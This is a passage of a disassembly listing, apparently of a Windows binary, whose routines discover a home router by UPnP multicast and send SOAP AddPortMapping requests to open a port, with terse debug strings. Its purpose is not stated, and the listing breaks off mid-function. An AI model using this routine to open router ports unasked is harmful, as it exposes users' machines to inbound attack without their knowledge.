jmp short loc_40250D
; ---------------------------------------------------------------------------
loc_4024CB: ; CODE XREF: sub_4024A6+1Cj
push 20h
push 0
push 0
push 0F001Fh
push ebx
call dword_411CEC
mov edi, eax
test edi, edi
jz short loc_402503
mov si, [edi]
test si, si
jz short loc_4024F8
mov edx, [esp+0Ch+arg_0]
mov ax, [edi+2]
mov [edx], ax
jmp short loc_4024FC
; ---------------------------------------------------------------------------
loc_4024F8: ; CODE XREF: sub_4024A6+43j
mov si, 0FFFFh
loc_4024FC: ; CODE XREF: sub_4024A6+50j
push edi
call dword_411CF0
loc_402503: ; CODE XREF: sub_4024A6+3Bj
push ebx
call dword_411CF8
movzx eax, si
loc_40250D: ; CODE XREF: sub_4024A6+23j
pop edi
pop esi
pop ebx
retn
sub_4024A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402511 proc near ; CODE XREF: sub_4025A9+2Dp
; sub_402B02+23Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov esi, [ebp+arg_0]
push esi
call sub_407710
pop ecx
mov edi, eax
push [ebp+var_4]
call sub_407710
pop ecx
mov ebx, eax
jmp short loc_402555
; ---------------------------------------------------------------------------
loc_402537: ; CODE XREF: sub_402511+46j
push ebx
push [ebp+var_4]
push ebx
push esi
push 1
push 400h
call dword_411CFC
cmp eax, 2
jnz short loc_402553
mov eax, esi
jmp short loc_40255B
; ---------------------------------------------------------------------------
loc_402553: ; CODE XREF: sub_402511+3Cj
inc esi
dec edi
loc_402555: ; CODE XREF: sub_402511+24j
cmp edi, ebx
jge short loc_402537
xor eax, eax
loc_40255B: ; CODE XREF: sub_402511+40j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_402511 endp
; =============== S U B R O U T I N E =======================================
sub_402562 proc near ; CODE XREF: sub_4025A9+1C4p
; sub_402896+12Cp
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
call dword_411CC4
lea esi, [eax+7D0h]
loc_402574: ; CODE XREF: sub_402562+40j
push ebx
call sub_401542
pop ecx
test eax, eax
jle short loc_402584
xor eax, eax
inc eax
jmp short loc_4025A6
; ---------------------------------------------------------------------------
loc_402584: ; CODE XREF: sub_402562+1Bj
push offset a_ ; "."
call sub_407320
pop ecx
push 12Ch
call dword_411D00
call dword_411CC4
cmp eax, esi
jb short loc_402574
xor eax, eax
loc_4025A6: ; CODE XREF: sub_402562+20j
pop esi
pop ebx
retn
sub_402562 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4025A9 proc near ; CODE XREF: sub_402B02+337p
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = byte ptr -45Ch
var_5C = word ptr -5Ch
var_5A = word ptr -5Ah
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = byte ptr -40h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 468h
push ebx
push esi
push edi
push 10h
push 0
lea eax, [ebp+var_5C]
push eax
call sub_407690
add esp, 0Ch
mov [ebp+var_5C], 2
xor di, di
push offset aHttp ; "http://"
push [ebp+arg_0]
call sub_402511
pop ecx
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_4025EB
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_4025EA: ; CODE XREF: sub_4025A9+4Aj
inc ebx
loc_4025EB: ; CODE XREF: sub_4025A9+38j
mov al, [ebx]
test al, al
jz short loc_4025F5
cmp al, 2Fh
jnz short loc_4025EA
loc_4025F5: ; CODE XREF: sub_4025A9+46j
jmp short loc_4025F8
; ---------------------------------------------------------------------------
loc_4025F7: ; CODE XREF: sub_4025A9+57j
inc ebx
loc_4025F8: ; CODE XREF: sub_4025A9:loc_4025F5j
mov al, [ebx]
test al, al
jz short loc_402602
cmp al, 2Fh
jz short loc_4025F7
loc_402602: ; CODE XREF: sub_4025A9+53j
xor esi, esi
jmp short loc_40261A
; ---------------------------------------------------------------------------
loc_402606: ; CODE XREF: sub_4025A9+7Dj
cmp esi, 3Fh
jb short loc_402612
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_402612: ; CODE XREF: sub_4025A9+60j
mov al, [ebx]
mov [ebp+esi+var_40], al
inc esi
inc ebx
loc_40261A: ; CODE XREF: sub_4025A9+5Bj
mov al, [ebx]
test al, al
jz short loc_402628
cmp al, 3Ah
jz short loc_402628
cmp al, 2Fh
jnz short loc_402606
loc_402628: ; CODE XREF: sub_4025A9+75j
; sub_4025A9+79j
mov [ebp+esi+var_40], 0
cmp byte ptr [ebx], 3Ah
jz short loc_402639
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_402639: ; CODE XREF: sub_4025A9+87j
inc ebx
cmp byte ptr [ebx], 0
jnz short loc_402660
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_402646: ; CODE XREF: sub_4025A9+C3j
movzx eax, di
lea eax, [eax+eax*4]
add eax, eax
mov di, ax
movzx eax, di
movsx edx, byte ptr [ebx]
sub edx, 30h
add eax, edx
mov di, ax
inc ebx
loc_402660: ; CODE XREF: sub_4025A9+94j
mov al, [ebx]
test al, al
jz short loc_40266E
cmp al, 30h
jl short loc_40266E
cmp al, 39h
jle short loc_402646
loc_40266E: ; CODE XREF: sub_4025A9+BBj
; sub_4025A9+BFj
cmp di, 1
jnb short loc_40267C
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_40267B: ; CODE XREF: sub_4025A9+DBj
inc ebx
loc_40267C: ; CODE XREF: sub_4025A9+C9j
mov al, [ebx]
test al, al
jz short loc_402686
cmp al, 2Fh
jnz short loc_40267B
loc_402686: ; CODE XREF: sub_4025A9+D7j
cmp byte ptr [ebx], 0
jnz short loc_402692
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_402692: ; CODE XREF: sub_4025A9+E0j
lea eax, [ebp+var_40]
push eax
call sub_406DC8
mov [ebp+var_58], eax
movzx eax, di
push eax
call sub_406D98
mov [ebp+var_5A], ax
movzx eax, di
push eax
lea eax, [ebp+var_40]
push eax
push offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n"
call sub_407320
add esp, 0Ch
push 6
push 1
push 2
call sub_406D7A
mov [ebp+var_44], eax
cmp eax, 0FFFFFFFFh
jnz short loc_4026D9
and [ebp+var_44], 0
loc_4026D9: ; CODE XREF: sub_4025A9+12Aj
cmp [ebp+var_44], 0
jnz short loc_4026E6
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_4026E6: ; CODE XREF: sub_4025A9+134j
lea eax, [ebp+var_40]
push eax
call sub_406DC8
movzx edx, di
push edx
push eax
push [ebp+var_44]
call sub_401567
add esp, 0Ch
test eax, eax
jnz short loc_402713
push [ebp+var_44]
call sub_4014C2
pop ecx
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_402713: ; CODE XREF: sub_4025A9+158j
movzx eax, di
push eax
lea eax, [ebp+var_40]
push eax
push ebx
push offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"...
lea eax, [ebp+var_45C]
push eax
call sub_407380
add esp, 14h
lea eax, [ebp+var_45C]
push eax
call sub_407710
pop ecx
mov [ebp+var_48], eax
push [ebp+var_48]
lea eax, [ebp+var_45C]
push eax
push [ebp+var_44]
call sub_401787
add esp, 0Ch
cmp eax, [ebp+var_48]
jz short loc_40276A
push [ebp+var_44]
call sub_4014C2
pop ecx
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_40276A: ; CODE XREF: sub_4025A9+1AFj
push [ebp+var_44]
call sub_402562
pop ecx
push 10000h
call sub_401048
pop ecx
mov [ebp+var_4C], eax
push 0FFFFh
push [ebp+var_4C]
push [ebp+var_44]
call sub_401713
add esp, 0Ch
mov [ebp+var_48], eax
test eax, eax
jnz short loc_4027D2
push [ebp+var_44]
call sub_401542
pop ecx
mov [ebp+var_468], eax
cmp eax, 0FFFFh
jle short loc_4027BB
mov [ebp+var_468], 0FFFFh
loc_4027BB: ; CODE XREF: sub_4025A9+206j
push [ebp+var_468]
push [ebp+var_4C]
push [ebp+var_44]
call sub_4016DC
add esp, 0Ch
mov [ebp+var_48], eax
loc_4027D2: ; CODE XREF: sub_4025A9+1F0j
push [ebp+var_48]
movzx eax, di
push eax
lea eax, [ebp+var_40]
push eax
push offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"...
call sub_407320
add esp, 10h
cmp [ebp+var_48], 1
jge short loc_402809
push [ebp+var_4C]
call sub_401076
pop ecx
push [ebp+var_44]
call sub_4014C2
pop ecx
xor eax, eax
jmp loc_40288F
; ---------------------------------------------------------------------------
loc_402809: ; CODE XREF: sub_4025A9+245j
push offset asc_40F612 ; "\n"
push [ebp+var_4C]
call sub_407780
pop ecx
pop ecx
mov [ebp+var_460], eax
test eax, eax
jnz short loc_402838
push [ebp+var_4C]
call sub_401076
pop ecx
push [ebp+var_44]
call sub_4014C2
pop ecx
xor eax, eax
jmp short loc_40288F
; ---------------------------------------------------------------------------
loc_402838: ; CODE XREF: sub_4025A9+277j
push offset a200 ; "200"
push [ebp+var_4C]
call sub_407780
pop ecx
pop ecx
mov [ebp+var_464], eax
test eax, eax
jz short loc_402859
cmp eax, [ebp+var_460]
jbe short loc_40286F
loc_402859: ; CODE XREF: sub_4025A9+2A6j
push [ebp+var_4C]
call sub_401076
pop ecx
push [ebp+var_44]
call sub_4014C2
pop ecx
xor eax, eax
jmp short loc_40288F
; ---------------------------------------------------------------------------
loc_40286F: ; CODE XREF: sub_4025A9+2AEj
push [ebp+var_44]
call sub_4014C2
pop ecx
lea eax, [ebp+var_40]
push eax
push [ebp+arg_4]
call sub_407730
pop ecx
pop ecx
mov edx, [ebp+arg_8]
mov [edx], di
mov eax, [ebp+var_4C]
loc_40288F: ; CODE XREF: sub_4025A9+3Cj
; sub_4025A9+64j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4025A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402896 proc near ; CODE XREF: sub_402B02+50Fp
; sub_402B02+53Dp
var_2014 = dword ptr -2014h
var_2010 = dword ptr -2010h
var_200C = dword ptr -200Ch
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
arg_C = dword ptr 14h
arg_10 = word ptr 18h
arg_14 = word ptr 1Ch
push ebp
mov ebp, esp
mov eax, 2014h
call sub_4077F0
push ebx
push esi
push edi
movzx eax, [ebp+arg_10]
push eax
movzx eax, [ebp+arg_14]
push eax
push offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"...
lea eax, [ebp+var_2008]
push eax
call sub_407380
add esp, 10h
lea eax, [ebp+var_2008]
push eax
call sub_407710
pop ecx
mov [ebp+var_200C], eax
cmp [ebp+arg_0], 0
jz short loc_402904
push [ebp+var_200C]
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_C]
push offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"...
lea eax, [ebp+var_1008]
push eax
call sub_407380
add esp, 18h
jmp short loc_402929
; ---------------------------------------------------------------------------
loc_402904: ; CODE XREF: sub_402896+45j
push [ebp+var_200C]
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_C]
push offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"...
lea eax, [ebp+var_1008]
push eax
call sub_407380
add esp, 18h
loc_402929: ; CODE XREF: sub_402896+6Cj
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push eax
call sub_407750
pop ecx
pop ecx
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n"
call sub_407320
add esp, 0Ch
call sub_401359
mov edi, eax
test eax, eax
jz loc_402AFB
push [ebp+arg_4]
call sub_406DC8
movzx edx, [ebp+arg_8]
push edx
push eax
push edi
call sub_401567
add esp, 0Ch
test eax, eax
jnz short loc_40298B
push edi
call sub_4014C2
pop ecx
xor eax, eax
jmp loc_402AFB
; ---------------------------------------------------------------------------
loc_40298B: ; CODE XREF: sub_402896+E5j
lea eax, [ebp+var_1008]
push eax
call sub_407710
pop ecx
mov [ebp+var_4], eax
push [ebp+var_4]
lea eax, [ebp+var_1008]
push eax
push edi
call sub_401787
add esp, 0Ch
cmp eax, [ebp+var_4]
jz short loc_4029C1
push edi
call sub_4014C2
pop ecx
xor eax, eax
jmp loc_402AFB
; ---------------------------------------------------------------------------
loc_4029C1: ; CODE XREF: sub_402896+11Bj
push edi
call sub_402562
pop ecx
push 10000h
call sub_401048
pop ecx
mov [ebp+var_8], eax
push 0FFFFh
push [ebp+var_8]
push edi
call sub_401713
add esp, 0Ch
mov [ebp+var_4], eax
test eax, eax
jnz short loc_402A21
push edi
call sub_401542
pop ecx
mov [ebp+var_2014], eax
cmp eax, 0FFFFh
jle short loc_402A0C
mov [ebp+var_2014], 0FFFFh
loc_402A0C: ; CODE XREF: sub_402896+16Aj
push [ebp+var_2014]
push [ebp+var_8]
push edi
call sub_4016DC
add esp, 0Ch
mov [ebp+var_4], eax
loc_402A21: ; CODE XREF: sub_402896+156j
push [ebp+var_4]
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "...
call sub_407320
add esp, 10h
cmp [ebp+var_4], 1
jge short loc_402A56
push [ebp+var_8]
call sub_401076
pop ecx
push edi
call sub_4014C2
pop ecx
xor eax, eax
jmp loc_402AFB
; ---------------------------------------------------------------------------
loc_402A56: ; CODE XREF: sub_402896+1A7j
push offset asc_40F612 ; "\n"
push [ebp+var_8]
call sub_407780
pop ecx
pop ecx
mov [ebp+var_2010], eax
test eax, eax
jnz short loc_402A83
push [ebp+var_8]
call sub_401076
pop ecx
push edi
call sub_4014C2
pop ecx
xor eax, eax
jmp short loc_402AFB
; ---------------------------------------------------------------------------
loc_402A83: ; CODE XREF: sub_402896+1D7j
mov ebx, [ebp+var_8]
jmp short loc_402A89
; ---------------------------------------------------------------------------
loc_402A88: ; CODE XREF: sub_402896+1FBj
inc ebx
loc_402A89: ; CODE XREF: sub_402896+1F0j
mov al, [ebx]
test al, al
jz short loc_402A93
cmp al, 20h
jnz short loc_402A88
loc_402A93: ; CODE XREF: sub_402896+1F7j
jmp short loc_402A96
; ---------------------------------------------------------------------------
loc_402A95: ; CODE XREF: sub_402896+208j
inc ebx
loc_402A96: ; CODE XREF: sub_402896:loc_402A93j
mov al, [ebx]
test al, al
jz short loc_402AA0
cmp al, 20h
jz short loc_402A95
loc_402AA0: ; CODE XREF: sub_402896+204j
xor esi, esi
jmp short loc_402AB4
; ---------------------------------------------------------------------------
loc_402AA4: ; CODE XREF: sub_402896+22Aj
lea esi, [esi+esi*4]
add esi, esi
movsx eax, byte ptr [ebx]
sub eax, 30h
add esi, eax
inc ebx
jmp short loc_402AC2
; ---------------------------------------------------------------------------
loc_402AB4: ; CODE XREF: sub_402896+20Cj
mov al, [ebx]
test al, al
jz short loc_402AC2
cmp al, 30h
jl short loc_402AC2
cmp al, 39h
jle short loc_402AA4
loc_402AC2: ; CODE XREF: sub_402896+21Cj
; sub_402896+222j ...
push esi
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."...
call sub_407320
add esp, 10h
cmp esi, 2
jz short loc_402AF1
push [ebp+var_8]
call sub_401076
pop ecx
push edi
call sub_4014C2
pop ecx
xor eax, eax
jmp short loc_402AFB
; ---------------------------------------------------------------------------
loc_402AF1: ; CODE XREF: sub_402896+245j
push edi
call sub_4014C2
pop ecx
xor eax, eax
inc eax
loc_402AFB: ; CODE XREF: sub_402896+C6j
; sub_402896+F0j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_402896 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402B02 proc near ; CODE XREF: sub_40356A+6Cp
; sub_404967+1B9p
var_18A0 = dword ptr -18A0h
var_189C = byte ptr -189Ch
var_188C = dword ptr -188Ch
var_1888 = dword ptr -1888h
var_1884 = dword ptr -1884h
var_187E = byte ptr -187Eh
var_183E = word ptr -183Eh
var_183C = dword ptr -183Ch
var_1838 = dword ptr -1838h
var_1834 = dword ptr -1834h
var_1830 = dword ptr -1830h
var_182C = dword ptr -182Ch
var_1828 = dword ptr -1828h
var_1824 = dword ptr -1824h
var_1820 = dword ptr -1820h
var_181C = word ptr -181Ch
var_181A = word ptr -181Ah
var_1818 = dword ptr -1818h
var_1809 = byte ptr -1809h
var_1409 = byte ptr -1409h
var_408 = dword ptr -408h
var_404 = dword ptr -404h
var_400 = byte ptr -400h
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, 18A0h
call sub_4077F0
push ebx
push esi
push edi
mov [ebp+var_1820], 3E8h
cmp [ebp+arg_0], 0
jnz short loc_402B2B
mov ax, [ebp+arg_4]
mov [ebp+arg_0], ax
loc_402B2B: ; CODE XREF: sub_402B02+1Fj
push 10h
push 0
lea eax, [ebp+var_181C]
push eax
call sub_407690
add esp, 0Ch
mov [ebp+var_181C], 2
push offset a239_255_255_25 ; "239.255.255.250"
call sub_406DC8
mov [ebp+var_1818], eax
push 76Ch
call sub_406D98
mov [ebp+var_181A], ax
mov [ebp+var_404], 1
push 11h
push 2
push 2
call sub_406D7A
mov [ebp+var_408], eax
and [ebp+var_1828], 0
mov [ebp+var_1824], 1
push offset a239_255_255_25 ; "239.255.255.250"
call sub_406DC8
mov [ebp+var_1828], eax
push 8
lea eax, [ebp+var_1828]
push eax
push 5
push 0
mov eax, [ebp+var_408]
push eax
call sub_406D80
test eax, eax
jge short loc_402BCC
push offset aShit ; "shit!\n"
call sub_407320
pop ecx
loc_402BCC: ; CODE XREF: sub_402B02+BDj
lea eax, [ebp+var_181C]
mov [ebp+var_182C], eax
push 10h
push [ebp+var_182C]
mov eax, [ebp+var_408]
push eax
call sub_406DA4
cmp eax, 0FFFFFFFFh
jnz loc_403082
push offset aXbind___ ; "xbind...\n"
call sub_407320
pop ecx
jmp loc_403082
; ---------------------------------------------------------------------------
loc_402C05: ; CODE XREF: sub_402B02+587j
mov [ebp+var_1884], 10h
push [ebp+var_404]
push offset aSendingIupnpDi ; "sending IUPnP discovery request #%i...\n"...
call sub_407320
pop ecx
pop ecx
push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
call sub_407710
pop ecx
push 10h
lea edx, [ebp+var_181C]
push edx
push 0
push eax
push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
mov eax, [ebp+var_408]
push eax
call sub_406DE6
test eax, eax
jge short loc_402C60
mov eax, [ebp+var_408]
push eax
call sub_406D86
xor eax, eax
jmp loc_40309D
; ---------------------------------------------------------------------------
loc_402C60: ; CODE XREF: sub_402B02+149j
push [ebp+var_404]
push offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."...
call sub_407320
pop ecx
pop ecx
push 4
lea eax, [ebp+var_1820]
push eax
push 1006h
push 0FFFFh
mov eax, [ebp+var_408]
push eax
call sub_406D80
test eax, eax
jge short loc_402CA8
mov eax, [ebp+var_408]
push eax
call sub_406D86
xor eax, eax
jmp loc_40309D
; ---------------------------------------------------------------------------
loc_402CA8: ; CODE XREF: sub_402B02+191j
push [ebp+var_404]
push offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."...
call sub_407320
pop ecx
pop ecx
lea eax, [ebp+var_1884]
push eax
lea eax, [ebp+var_189C]
push eax
push 0
push 1000h
lea eax, [ebp+var_1409]
push eax
mov eax, [ebp+var_408]
push eax
call sub_406DEC
test eax, eax
jge short loc_402D12
call sub_406DF2
cmp eax, 274Ch
jnz short loc_402CFF
cmp [ebp+var_404], 3
jnz loc_40307C
loc_402CFF: ; CODE XREF: sub_402B02+1EEj
mov eax, [ebp+var_408]
push eax
call sub_406D86
xor eax, eax
jmp loc_40309D
; ---------------------------------------------------------------------------
loc_402D12: ; CODE XREF: sub_402B02+1E2j
mov eax, [ebp+var_1884]
mov [ebp+eax+var_1409], 0
push [ebp+var_404]
push offset aIupnpDiscovery ; "IUPnP discovery request #%i -- checking"...
call sub_407320
pop ecx
pop ecx
push offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"...
lea eax, [ebp+var_1409]
push eax
call sub_402511
pop ecx
pop ecx
test eax, eax
jnz short loc_402D60
push [ebp+var_404]
push offset aIupnpDiscove_0 ; "IUPnP discovery request #%i: bad (0)..."...
call sub_407320
pop ecx
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402D60: ; CODE XREF: sub_402B02+245j
push offset aLocation ; "location"
lea eax, [ebp+var_1409]
push eax
call sub_402511
pop ecx
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_402D91
push [ebp+var_404]
push offset aIupnpDiscove_1 ; "IUPnP discovery request #%i: bad (1)..."...
call sub_407320
pop ecx
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402D90: ; CODE XREF: sub_402B02+297j
inc ebx
loc_402D91: ; CODE XREF: sub_402B02+275j
mov al, [ebx]
test al, al
jz short loc_402D9B
cmp al, 3Ah
jnz short loc_402D90
loc_402D9B: ; CODE XREF: sub_402B02+293j
cmp byte ptr [ebx], 0
jz short loc_402DA4
inc ebx
jmp short loc_402DA4
; ---------------------------------------------------------------------------
loc_402DA3: ; CODE XREF: sub_402B02+2AAj
inc ebx
loc_402DA4: ; CODE XREF: sub_402B02+29Cj
; sub_402B02+29Fj
mov al, [ebx]
test al, al
jz short loc_402DAE
cmp al, 20h
jz short loc_402DA3
loc_402DAE: ; CODE XREF: sub_402B02+2A6j
lea eax, [ebp+var_1809]
mov [ebp+var_1834], eax
jmp short loc_402DCD
; ---------------------------------------------------------------------------
loc_402DBC: ; CODE XREF: sub_402B02+2D3j
mov edx, [ebp+var_1834]
mov al, [ebx]
mov [edx], al
inc [ebp+var_1834]
inc ebx
loc_402DCD: ; CODE XREF: sub_402B02+2B8j
mov al, [ebx]
test al, al
jz short loc_402DD7
cmp al, 20h
jg short loc_402DBC
loc_402DD7: ; CODE XREF: sub_402B02+2CFj
mov edx, [ebp+var_1834]
mov byte ptr [edx], 0
lea eax, [ebp+var_1809]
push eax
call sub_407710
pop ecx
test eax, eax
jnz short loc_402E08
push [ebp+var_404]
push offset aIupnpDiscove_2 ; "IUPnP discovery request #%i: bad (2)..."...
call sub_407320
pop ecx
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402E08: ; CODE XREF: sub_402B02+2EDj
mov [ebp+var_183E], 0
lea eax, [ebp+var_1809]
push eax
push offset aLocationS ; "location: <%s>\n"
call sub_407320
pop ecx
pop ecx
lea eax, [ebp+var_183E]
push eax
lea eax, [ebp+var_187E]
push eax
lea eax, [ebp+var_1809]
push eax
call sub_4025A9
add esp, 0Ch
mov [ebp+var_183C], eax
test eax, eax
jnz short loc_402E62
push [ebp+var_404]
push offset aIupnpDiscove_3 ; "IUPnP discovery request #%i: bad (3)..."...
call sub_407320
pop ecx
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402E62: ; CODE XREF: sub_402B02+347j
push offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"...
push [ebp+var_183C]
call sub_402511
pop ecx
pop ecx
mov [ebp+var_188C], eax
test eax, eax
jnz short loc_402E8F
push [ebp+var_183C]
call sub_401076
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402E8F: ; CODE XREF: sub_402B02+37Aj
mov eax, [ebp+var_183C]
mov [ebp+var_1830], eax
loc_402E9B: ; CODE XREF: sub_402B02+3CBj
push offset aService_0 ; "<service>"
push [ebp+var_1830]
call sub_402511
pop ecx
pop ecx
mov [ebp+var_18A0], eax
test eax, eax
jz short loc_402EBF
cmp eax, [ebp+var_1830]
jbe short loc_402EC1
loc_402EBF: ; CODE XREF: sub_402B02+3B3j
jmp short loc_402ECF
; ---------------------------------------------------------------------------
loc_402EC1: ; CODE XREF: sub_402B02+3BBj
mov eax, [ebp+var_18A0]
mov [ebp+var_1830], eax
jmp short loc_402E9B
; ---------------------------------------------------------------------------
loc_402ECF: ; CODE XREF: sub_402B02:loc_402EBFj
push offset aService ; "</service>"
push [ebp+var_1830]
call sub_402511
pop ecx
pop ecx
mov [ebp+var_1888], eax
test eax, eax
jnz short loc_402EFC
push [ebp+var_183C]
call sub_401076
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402EFC: ; CODE XREF: sub_402B02+3E7j
push offset aControlurl ; "<controlURL>"
push [ebp+var_1830]
call sub_402511
pop ecx
pop ecx
mov esi, eax
test esi, esi
jz short loc_402F1C
cmp esi, [ebp+var_1888]
jb short loc_402F2D
loc_402F1C: ; CODE XREF: sub_402B02+410j
push [ebp+var_183C]
call sub_401076
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402F2D: ; CODE XREF: sub_402B02+418j
push 400h
push 0
lea eax, [ebp+var_400]
push eax
call sub_407690
add esp, 0Ch
jmp short loc_402F46
; ---------------------------------------------------------------------------
loc_402F45: ; CODE XREF: sub_402B02+44Cj
inc esi
loc_402F46: ; CODE XREF: sub_402B02+441j
mov al, [esi]
test al, al
jz short loc_402F50
cmp al, 3Eh
jnz short loc_402F45
loc_402F50: ; CODE XREF: sub_402B02+448j
cmp byte ptr [esi], 0
jz short loc_402F56
inc esi
loc_402F56: ; CODE XREF: sub_402B02+451j
cmp byte ptr [esi], 0
jnz short loc_402F6C
push [ebp+var_183C]
call sub_401076
pop ecx
jmp loc_40307C
; ---------------------------------------------------------------------------
loc_402F6C: ; CODE XREF: sub_402B02+457j
and [ebp+var_1838], 0
jmp short loc_402F8B
; ---------------------------------------------------------------------------
loc_402F75: ; CODE XREF: sub_402B02+491j
mov eax, [ebp+var_1838]
mov dl, [esi]
mov [ebp+eax+var_400], dl
inc [ebp+var_1838]
inc esi
loc_402F8B: ; CODE XREF: sub_402B02+471j
mov al, [esi]
test al, al
jz short loc_402F95
cmp al, 3Ch
jnz short loc_402F75
loc_402F95: ; CODE XREF: sub_402B02+48Dj
mov eax, [ebp+var_1838]
mov [ebp+eax+var_400], 0
push offset aHttp ; "http://"
lea eax, [ebp+var_400]
push eax
call sub_402511
pop ecx
pop ecx
mov edi, eax
test edi, edi
jnz short loc_402FC5
lea edi, [ebp+var_400]
jmp short loc_402FF5
; ---------------------------------------------------------------------------
loc_402FC4: ; CODE XREF: sub_402B02+4CBj
inc edi
loc_402FC5: ; CODE XREF: sub_402B02+4B8j
mov al, [edi]
test al, al
jz short loc_402FCF
cmp al, 3Ah
jnz short loc_402FC4
loc_402FCF: ; CODE XREF: sub_402B02+4C7j
cmp byte ptr [edi], 0
jz short loc_402FD8
inc edi
jmp short loc_402FD8
; ---------------------------------------------------------------------------
loc_402FD7: ; CODE XREF: sub_402B02+4DEj
inc edi
loc_402FD8: ; CODE XREF: sub_402B02+4D0j
; sub_402B02+4D3j
mov al, [edi]
test al, al
jz short loc_402FE2
cmp al, 2Fh
jz short loc_402FD7
loc_402FE2: ; CODE XREF: sub_402B02+4DAj
cmp byte ptr [edi], 0
jz short loc_402FEB
inc edi
jmp short loc_402FEB
; ---------------------------------------------------------------------------
loc_402FEA: ; CODE XREF: sub_402B02+4F1j
inc edi
loc_402FEB: ; CODE XREF: sub_402B02+4E3j
; sub_402B02+4E6j
mov al, [edi]
test al, al
jz short loc_402FF5
cmp al, 2Fh
jnz short loc_402FEA
loc_402FF5: ; CODE XREF: sub_402B02+4C0j
; sub_402B02+4EDj
movzx eax, [ebp+arg_4]
push eax
movzx eax, [ebp+arg_0]
push eax
push edi
movzx eax, [ebp+var_183E]
push eax
lea eax, [ebp+var_187E]
push eax
push 0
call sub_402896
add esp, 18h
test eax, eax
jnz short loc_403059
movzx eax, [ebp+arg_4]
push eax
movzx eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_400]
push eax
movzx eax, [ebp+var_183E]
push eax
lea eax, [ebp+var_187E]
push eax
push 1
call sub_402896
add esp, 18h
test eax, eax
jnz short loc_403059
push [ebp+var_183C]
call sub_401076
pop ecx
jmp short loc_40307C
; ---------------------------------------------------------------------------
loc_403059: ; CODE XREF: sub_402B02+519j
; sub_402B02+547j
push [ebp+var_404]
push offset aIupnpDiscove_4 ; "IUPnP discovery request #%i: ok.\n"
call sub_407320
pop ecx
pop ecx
mov eax, [ebp+var_408]
push eax
call sub_406D86
xor eax, eax
inc eax
jmp short loc_40309D
; ---------------------------------------------------------------------------
loc_40307C: ; CODE XREF: sub_402B02+1F7j
; sub_402B02+259j ...
inc [ebp+var_404]
loc_403082: ; CODE XREF: sub_402B02+EDj
; sub_402B02+FEj
cmp [ebp+var_404], 3
jl loc_402C05
mov eax, [ebp+var_408]
push eax
call sub_406D86
xor eax, eax
